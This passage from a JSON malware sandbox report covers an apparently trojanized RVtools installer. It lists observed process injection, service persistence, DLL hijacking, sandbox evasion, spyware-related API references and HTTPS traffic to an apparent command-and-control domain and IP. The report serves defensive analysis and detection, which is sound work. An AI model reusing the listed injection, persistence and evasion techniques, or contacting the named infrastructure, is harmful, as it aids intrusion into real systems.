\"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020425895fc7f0000@ntdll.dll\"\n \"220023000000000040425895fc7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$45","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT `Data` FROM `Binary` WHERE `Name` = '%s'\" (Source: RVtools-4.7.0.2.msi, Indicator: \"select `data` from `binary` where `name` = '%s'\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$46","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\SysWOW64\\msiexec.exe\" [Source: 00000000-00001196-00000BC0-3108389385]\n Observed system executable string:\"%WINDIR%\\SYSTEM32\\msiexec.exe\" [Source: 00000000-00001196-00000BC0-3108393531]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\SysWOW64\\sc.exe\" [Source: 00000000-00001196-00000BC0-3116624633]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00008164-00000BC0-3116776100]\n Observed system executable string:\"\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"%TEMP%\\5aat0yyl\\5aat\" [Source: 00000000-00007744-00000C47-91726603208], Observed system executable string:\"\"%WINDIR%\\system32\\whoami.exe\"\" [Source: 00000000-00007744-00000C47-106596849498]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"mud.alert-router-b3a.workers.dev\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"UsbService86.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$48","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"RVtools-4.7.0.2.exe\" searching for class \"#32770\"\n \"RVtools-4.7.0.2.exe\" searching for class \"SysListView32\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$4b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 6E:4D:5F:01:5F:0C:9F:56:2B:7F:58:B4:32:A9:A4:7D:03:B5:72:DA; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"ClrLoader.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nsExec.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"MSIC2B7.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"MSIB386.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"RVtools-4.7.0.2.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsoB8E3.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RtlCreateServiceSid\" (Indicator: \"CreateService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CreateService\" (Indicator: \"CreateService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CreateService\" (Indicator: \"CreateService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"RtlCreateServiceSid\" (Indicator: \"CreateService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Add-Type\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"start.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"RVtools-4.7.0.2.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"UsbService86.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4c","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"MSIC2B7.tmp\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"\n \"MSIB386.tmp\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$4e","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"start.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\files\\start.exe\" (UID: 4460)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"UsbService86.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"start.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"start.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll.aux\"\n \"start.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\ce0fd4f5b50baa17e7b80e4ee874ad11\\system.ni.dll.aux\"\n \"start.exe\" reads file \"c:\\users\\desktop.ini\"\n \"start.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"RVtools-4.7.0.2.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\nsob8e3.tmp\"\n \"RVtools-4.7.0.2.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\mw-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\files\\rvtools-4.7.0.2.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Possibly tries to evade analysis by sleeping many times","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"start.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"start.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"RVtools-4.7.0.2.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"RVtools-4.7.0.2.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"UsbService86.exe\" touched file \"C:\\Windows\\System32\\config\\systemprofile\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"RVtools-4.7.0.2.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\nsob8e3.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"RVtools-4.7.0.2.exe\" writes a file \"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\Unicode.Data.Automation.dll\"\n \"RVtools-4.7.0.2.exe\" writes a file \"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\Unicode.Data.Automation.dll\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"_socket.pyd\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007744-00000C2C-3167030174\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$53","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007744-00000C2C-3167008052\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00007744-00000C2C-3167334760\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00007744-00000C2C-3167334808\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007744-00000C2C-3169342947\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"nsExec.dll\")\n file/memory contains long string with (Indicator: \"PeekNamedPipe\"; File: \"nsExec.dll\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"4.7.0.2\" found in string \"RVtools System 4.7.0.2\"\n Potential IP \"25.0.54.0\" found in string \"MSI Wrapper (25.0.54.0)\"\n \"4.7.1.5\"\n Potential IP \"4.7.0.2\" found in string \"RVtools-4.7.0.2\"\n \"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$55","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$56","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"mud.alert-router-b3a.workers.dev\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"mud.alert-router-b3a.workers.dev\" (4 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$57","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"mud.alert-router-b3a.workers.dev\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.23.246\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"Python.Runtime.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00007744\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE11CF99E23F63B7A62096FA13D78D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")\n Found string \"F+ncalrpc:[OLE06C70E3687CD10E787C17D8E741C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEF2F642BD2558A75E7FFA1BDE33E4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEF2F642BD2558A75E7FFA1BDE33E4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE06C70E3687CD10E787C17D8E741C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"7917946682,1448,3024,,RtlGetVersion,NTDLL.dll,\"01:08:32.312\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001196.00000000.263272.005F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegEnumKeyExW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry query API: \"RegOpenKeyExW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry query API: \"RegQueryValueExW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry query API: \"RegEnumValueW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry query API: \"RegEnumKeyW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry query API: \"RegEnumValueW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$58","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"start.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"RVtools-4.7.0.2.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"sc.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"UsbService86.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"start.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"UsbService86.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"UsbService86.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"UsbService86.exe\" called \"GetUserNameW\" (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"UsbService86.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"230632498f0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$59","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: 